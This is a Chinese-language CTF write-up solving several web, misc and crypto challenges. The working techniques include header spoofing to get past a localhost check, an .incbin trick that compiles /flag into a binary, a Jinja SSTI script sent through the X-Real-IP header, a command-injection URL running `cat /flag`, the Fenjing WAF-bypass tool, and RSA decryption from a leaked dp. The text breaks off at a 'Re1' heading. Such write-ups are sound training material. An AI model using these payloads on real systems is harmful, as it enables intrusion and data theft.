某ctf比赛题解

Web1

http://111.74.9.131:10111/

查看源码，有个 js 文件

内容如下：

Copy
eval(atob("ZnVuY3Rpb24gZW5jcnlwdEFuZFN1Ym1pdCgpIHsKICAgIHZhciBfMHgxYTJiID0gZG9jdW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oJ3Bhc3N3b3JkJylbJ3ZhbHVlJ107CiAgICB2YXIgXzB4MmIzYyA9ICdDVEYyMDI1JzsKICAgIHZhciBfMHgzYzRkID0gbWQ1KF8weDFhMmIgKyBfMHgyYjNjKTsKICAgIGRvY3VtZW50WydnZXRFbGVtZW50QnlJZCddKCdlbmNyeXB0ZWQnKVsndmFsdWUnXSA9IF8weDNjNGQ7CiAgICBkb2N1bWVudFsnZ2V0RWxlbWVudEJ5SWQnXSgncGFzc3dvcmQnKVsndmFsdWUnXSA9ICcnOwogICAgcmV0dXJuIHRydWU7Cn0="))

base64 解码

Copy
function encryptAndSubmit() {
var _0x1a2b = document['getElementById']('password')['value'];
var _0x2b3c = 'CTF2025';
var _0x3c4d = md5(_0x1a2b + _0x2b3c);
document['getElementById']('encrypted')['value'] = _0x3c4d;
document['getElementById']('password')['value'] = '';
return true;
}

上述代码的作用是对输入的密码进行 md5 加密，md5 加了盐，如 md5 (password,CTF2025)，那么就可以爆破

burp 设置如下

爆破得到 flag

Web4

给了附件，main.go 内容为

Copy
package main

import (
"context"
"fmt"
"net"
"net/http"
"os"
"os/exec"
"time"

"github.com/gin-gonic/gin"
)

func executeCommandWithTimeout(name string, args ...string) error {
ctx, cancel := context.WithTimeout(context.Background(), time.Second*10)
defer cancel()

cmd := exec.CommandContext(ctx, name, args...)
cmd.Dir = os.TempDir()
return cmd.Run()
}

func localhostOnly() gin.HandlerFunc {
return func(c *gin.Context) {
clientIPString := c.ClientIP()
ip := net.ParseIP(clientIPString)

if ip == nil {
c.String(http.StatusBadRequest, "无效的 IP 地址")
c.Abort()
return
}

if !ip.IsLoopback() {
c.String(http.StatusForbidden, "访问被拒绝。此端点仅允许从本地访问")
c.Abort()
return
}

c.Next()
}
}

func handleBuild(c *gin.Context) {
body := http.MaxBytesReader(c.Writer, c.Request.Body, 0x1000)
defer body.Close()

dir, err := os.MkdirTemp("", "c2_")
if err != nil {
c.String(http.StatusInternalServerError, "创建临时目录失败: %v", err)
return
}
defer os.RemoveAll(dir)

fname := fmt.Sprintf("%s/main.go", dir)
binName := fmt.Sprintf("%s/main", dir)

f, err := os.Create(fname)
if err != nil {
c.String(http.StatusInternalServerError, "创建临时文件失败: %v", err)
return
}
defer f.Close()

_, err = f.ReadFrom(body)
if err != nil {
c.String(http.StatusInternalServerError, "读取请求体失败: %v", err)
return
}
f.Close()

err = executeCommandWithTimeout("go", "build", "-ldflags", "-s -w", "-o", binName, fname)
if err != nil {
c.String(http.StatusInternalServerError, "编译失败: %v", err)
return
}

c.File(binName)
}

func main() {
gin.SetMode(gin.ReleaseMode)

router := gin.Default()
router.Use(localhostOnly())
router.POST("/api/build", handleBuild)

fmt.Println("服务器正在 http://localhost:8989 启动")
if err := router.Run(":8989"); err != nil {
fmt.Fprintf(os.Stderr, "服务器启动失败: %v\n", err)
os.Exit(1)
}
}

通过 http 的 post 请求，提交 go 代码给上述代码，上述代码对提交的代码进行编译，再输出编译后的 go 文件

参考：

https://jro.sg/CTFs/GreyCTF%20Quals%202025/C2.html

准备的 go 文件内容

Copy
package main

/*
__asm__ (
".incbin \"/flag\"\n"
);
*/
import "C"

func main() {

}

然后 curl 请求

Copy
curl -X POST -H "X-Forwarded-For: 127.0.0.1" --data-binary @m6.go http://111.74.9.131:18053/api/build --output m6

输出 m6 程序，然后 strings 查找 flag

Web5

题目：公司最近要参加护网行动，领导决定安排一次邮箱钓鱼来提高公司员工对钓鱼邮件的警惕性，你的同事小明做了一个简单的钓鱼系统，但是没过两天这个网站就被人拿下了，小明说过他用了很多安全的函数来进行渲染这个网站，按理来说不应该被攻破的...

访问链接

填入内容，提交

Copy
from flask import Flask, request, render_template, redirect, url_for, jsonify, render_template_string, session
import json
import os
import secrets
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
from ipaddress import ip_address

app = Flask(__name__, static_url_path='/static', static_folder='static')
app.secret_key = secrets.token_hex(16)

ENCRYPTION_KEY = os.urandom(16)
print(f"ENCRYPTION_KEY: {ENCRYPTION_KEY.hex()}")
FLAG = None
# 尝试从根目录/flag.txt读取flag
try:
with open('/flag.txt', 'r') as f:
FLAG = f.read().strip()
except:
FLAG = "flag{this_is_a_fake_flag_for_demo_purposes}"
app.config['FLAG'] = FLAG
USERS_FILE = "users.json"

ADMIN_SECRET = "sup3r_s3cr3t_4dm1n_k3y"

if not os.path.exists(USERS_FILE):
with open(USERS_FILE, 'w') as f:
json.dump([], f)

def load_users():
try:
with open(USERS_FILE, 'r') as f:
return json.load(f)
except:
return []

def save_users(users):
with open(USERS_FILE, 'w') as f:
json.dump(users, f, indent=4)

def encrypt_data(data):
data = (data + " " * (-len(data) % AES.block_size)).encode()
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC)
ct_bytes = cipher.iv + cipher.encrypt(data)
return ct_bytes.hex()

def decrypt_data(encrypted_data):
try:
encrypted_data = bytes.fromhex(encrypted_data)
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC, encrypted_data[:16])
padded1 = cipher.decrypt(encrypted_data[16:])
return padded1.decode("ascii", errors="replace").rstrip(" ")
except Exception as e:
print(f"Decryption error: {e}")
return None

@app.route('/')
def index():
return render_template('login.html')

@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username', '')
password = request.form.get('newPwd1', '')
oldPwd = request.form.get('oldPwd', '')

# Get IP address
real_ip = request.headers.get('X-Real-Ip', request.remote_addr)

# Create JSON data
# user_data = json.dumps({
# 'user': username,
# 'pd1': password,
# 'pd2': oldPwd,
# 'ip': real_ip
# })
# print(f"User data: {user_data}")
# Encrypt the data to create a token
# user = encrypt_data(user_data)
user = encrypt_data(username)
pd1 = encrypt_data(password)
pd2 = encrypt_data(oldPwd)
ip = encrypt_data(real_ip)

return redirect(url_for('error',user=user, pd1=pd1, pd2=pd2, ip=ip))

@app.route('/error')
def error():
username = request.args.get('user', '')
password = request.args.get('pd1', '')
oldPwd = request.args.get('pd2', '')
ip = request.args.get('ip', '')
if username and password and oldPwd and ip:

user_data_str = decrypt_data(username)
password_str = decrypt_data(password)
oldPwd_str = decrypt_data(oldPwd)
ip_str = decrypt_data(ip)
user_data = json.dumps({
'username': user_data_str,
'password': password_str,
'oldPwd': oldPwd_str,
'ip': ip_str
})
if user_data_str:
try:
# load json userdata
user_data = json.loads(user_data)
users = load_users()
users.append(user_data)
save_users(users)
except json.JSONDecodeError:
pass

# Display error page
return render_template('error.html', cred=user_data)

@app.route('/admin')
def admin():
secret = request.args.get('secret', '')

if secret != ADMIN_SECRET:
return render_template('admin_login.html')

users = load_users()
for user in users:
try:
# 弄个验证ip的 防止xss攻击
ip_address(user['ip'])
user['ip'] = render_template_string(user['ip'])
except ValueError:
user['ip'] = render_template_string("Invalid IP address")
except Exception as e:
user['ip'] = render_template_string("Invalid IP address")

return render_template('admin_panel.html', users=users)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

解题脚本：

Copy
#!/usr/bin/env python3

import requests

# 目标服务器地址
target_url = 'http://111.74.9.131:18054'

# 设置X-Forwarded-For头为包含恶意模板的字符串
headers = {
'X-Real-IP': '{{ config.get("FLAG", "") }}'
}

# 发送POST请求，注册恶意用户
login_data = {
'username': 'attacker',
'newPwd1': 'password',
'oldPwd': 'oldpassword'
}

response = requests.post(
f'{target_url}/login',
headers=headers,
data=login_data
)

# 跳转到error页面，数据已存储到users.json
# 接下来访问admin面板，从而触发模板注入
admin_secret = 'sup3r_s3cr3t_4dm1n_k3y'

admin_response = requests.get(
f'{target_url}/admin',
params={'secret': admin_secret}
)

# 检查响应内容，应该包含FLAG的值
print(admin_response.text)

Web3

ssti 自动化绕过工具

项目地址：https://github.com/Marven11/Fenjing

介绍：焚靖是一个针对 CTF 比赛中 Jinja SSTI 绕过 WAF 的全自动脚本，可以自动攻击给定的网站或接口，省去手动测试接口，fuzz 题目 WAF 的时间。

安装及使用

Copy
pipx install fenjing
fenjing webui

打开链接，界面如下：

填入参数

目标链接：http://xx.xx.xx.xx:18055/login
请求方式：POST
表单输入：需要填写表单字段，username，password

开始分析，即可自动化遍历 payload，成功后会有提示，然后在输出 cat /flag 命令查看 flag

Web2

http://x.x.x.x/?ip=127.0.0.254';echo+`cat+/flag`//'&action=ping

扫描源码：

Misc2

一个乱涂乱画的二维码，使用支付宝的扫描功能进行扫描

Misc2

Copy
import time
import random

print("(notice:Please use nc to connect to the port specified in the URL address bar.)")
nums = int(input("Please enter the number of questions you want to answer: "))

for i in range(nums):
one = random.randint(0, 10)
two = random.randint(0, 10)

ans = int(input("what is " + str(one) + ' + ' + str(two) + ' = '))

print("calculating")

timeTotals = pow(2, i)

print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)

if ans != one + two:
print("u are not a good hack")
exit(69)

f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:nums])

nc 运行，输入 -1 即可绕过

Crypto1

Copy
from Crypto.Util.number import *
flag=b'flag{*****************************}'
m=bytes_to_long(flag)
p,q=getPrime(1024),getPrime(1024)
e=65537
n=p*q
d=inverse(e,(p-1)*(q-1))
dp=d%(p-1)
c=pow(m,e,n)
print(c)
print(dp)
print(p)

# 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
# 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
# 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337

解密脚本

Copy
#!/usr/bin/env python3

from Crypto.Util.number import long_to_bytes

c = 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
dp = 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
p = 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
e = 65537

m = pow(c, dp ,p)
print(long_to_bytes(m))

flag{dp_is_very_easy}

Re1